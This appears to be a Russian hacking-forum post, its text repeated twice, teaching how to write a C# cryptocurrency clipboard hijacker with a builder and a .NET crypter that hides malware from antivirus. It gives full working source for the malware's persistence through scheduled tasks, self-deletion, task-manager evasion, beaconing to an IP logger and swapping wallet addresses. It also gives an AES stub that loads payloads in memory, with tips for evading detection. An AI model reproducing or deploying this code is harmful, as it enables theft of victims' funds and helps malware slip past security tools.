Пожалуйста, обратите внимание, что пользователь заблокирован
Доброго времени суток!
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена
Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Переходим к Main. Задаем путь к файлу:
path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он не установлен:
Запустим в новом потоке мониторинг процессов:
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник
Создаем проект WindowsForms. По-быстрому набросаем форму:
Переходим к коду. Добавим пару юзингов:
В обработчике кнопки пишем:
Добавляем в ресурсы билдера сурс клиппера:
Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:
Исходники: https://github.com/onek1lo/SimpleClipper
Как сделать криптор
Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.
Кто виноват? Что делать?
Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.
Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.
Глаза боятся, а руки из жопы
Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
https://ims0rry.tumblr.com/post/167338238375/крипт-net-приложения-на-примере-orcus-rat
Чтож, такой крипт хоть и работает, но держит недолго.
В нашем проекте мы будем использовать стабы.
Стаб
Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.
Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные
Алгоритм работы стаба:
1) Ищем слово-разделитель в файле
2) Получаем ключ
3) Ищем слово-разделитель в файле
4) Получаем шифрованные даные
5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
6) Загружаем и выполняем сборку
Нашим словом-разделителем будет "keeeek".
Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.
Первым делом добавим функцию расшифровки:
Переходим к Main. Ставим рандомную задержку (5-20 секунд):
Получаем в строки необходимые данные:
Далее загрузим расшифрованную сборку:
Учтите, что Mian может не принимать аргументов вообще!
В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.
На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.
Криптор
Алгоритм работы криптора:
1) Выбираем файл для крипта
2) Шифруем файл и конвертируем его в Base64 строку
3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку
Создаем приложение WindowsForms, кидаем на него конпку:
Дважды кликаем по ней и пишем в методе код:
Далее проинициализируем переменные:
Теперь, когда все данные получены, просто запишем все в новый файл:
Чуть не забыл, добавим функцию шифрования:
Ну вот и все, криптор готов.
Кладем стаб к криптору и начинаем тестить.
Для примера закриптуем билд стиллера TRON Project.
Как чистить стабы?
1) Изменять ключевое слово
2) Изменять название переменных, их длину, добавлять мусорный код
3) Накрыть стаб каким либо обфускатором
4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)
Ну и конечно же изменять алгоритм работы стаба.
После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:
Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно
На этом все!
Исходники: https://github.com/onek1lo/Simple-Crypter
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена
Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Код:
static void Monitor() {
while (true) {
try {
foreach(Process item in Process.GetProcesses())
if (item.ProcessName.ToLower() == "taskmgr" ||
item.ProcessName.ToLower() == "processhacker" ||
item.ProcessName.ToLower() == "procexp")
Environment.Exit(0);
Thread.Sleep(500);
} catch {}
}
}
Код:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
Устанавливаем клиппер если он не установлен:
Код:
if (!File.Exists(path)) {
File.Copy(Assembly.GetEntryAssembly().Location, path);
// Самоудаление и добавление в планировщик заданий
ProcessStartInfo proc = new ProcessStartInfo();
proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.CreateNoWindow = true;
proc.FileName = "cmd.exe";
// Ставим аттрибуты Скрытый и Системный на файл
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
// Стучим в IPLogger
try {
HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
http.UserAgent = "New user!";
http.GetResponse();
} catch {}
Process.Start(proc);
Environment.Exit(0);
}
Код:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
Код:
while (true) {
string idat_old = string.Empty;
string idat = string.Empty;
Thread.Sleep(500);
try {
if (Clipboard.ContainsText()) {
idat = Clipboard.GetText();
if (idat != idat_old) {
// Ищем в clipboard адреса и если находим заменяем
if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet1]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet2]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
} else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[ethwallet]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
idat_old = idat;
}
}
} catch {}
}
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник
Создаем проект WindowsForms. По-быстрому набросаем форму:
Переходим к коду. Добавим пару юзингов:
Код:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
Код:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";
Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");
string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);
var settings = new Dictionary < string,
string > ();
settings.Add("CompilerVersion", "v4.0");
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {
foreach(CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Вывод ошибок
}
MessageBox.Show("Done!", "Success");
Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:
Исходники: https://github.com/onek1lo/SimpleClipper
Как сделать криптор
Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.
Кто виноват? Что делать?
Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.
Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.
Глаза боятся, а руки из жопы
Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
https://ims0rry.tumblr.com/post/167338238375/крипт-net-приложения-на-примере-orcus-rat
Чтож, такой крипт хоть и работает, но держит недолго.
В нашем проекте мы будем использовать стабы.
Стаб
Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.
Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные
Алгоритм работы стаба:
1) Ищем слово-разделитель в файле
2) Получаем ключ
3) Ищем слово-разделитель в файле
4) Получаем шифрованные даные
5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
6) Загружаем и выполняем сборку
Нашим словом-разделителем будет "keeeek".
Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.
Первым делом добавим функцию расшифровки:
Код:
public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Код:
Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));
Код:
string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку
Код:
Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });
В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.
На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.
Криптор
Алгоритм работы криптора:
1) Выбираем файл для крипта
2) Шифруем файл и конвертируем его в Base64 строку
3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку
Создаем приложение WindowsForms, кидаем на него конпку:
Дважды кликаем по ней и пишем в методе код:
Код:
OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();
Далее проинициализируем переменные:
Код:
string filename = op.FileName; // Имя файла
byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором
string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ
byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл
byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
Код:
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();
Код:
public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Кладем стаб к криптору и начинаем тестить.
Для примера закриптуем билд стиллера TRON Project.
Как чистить стабы?
1) Изменять ключевое слово
2) Изменять название переменных, их длину, добавлять мусорный код
3) Накрыть стаб каким либо обфускатором
4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)
Ну и конечно же изменять алгоритм работы стаба.
После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:
Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно
На этом все!
Исходники: https://github.com/onek1lo/Simple-Crypter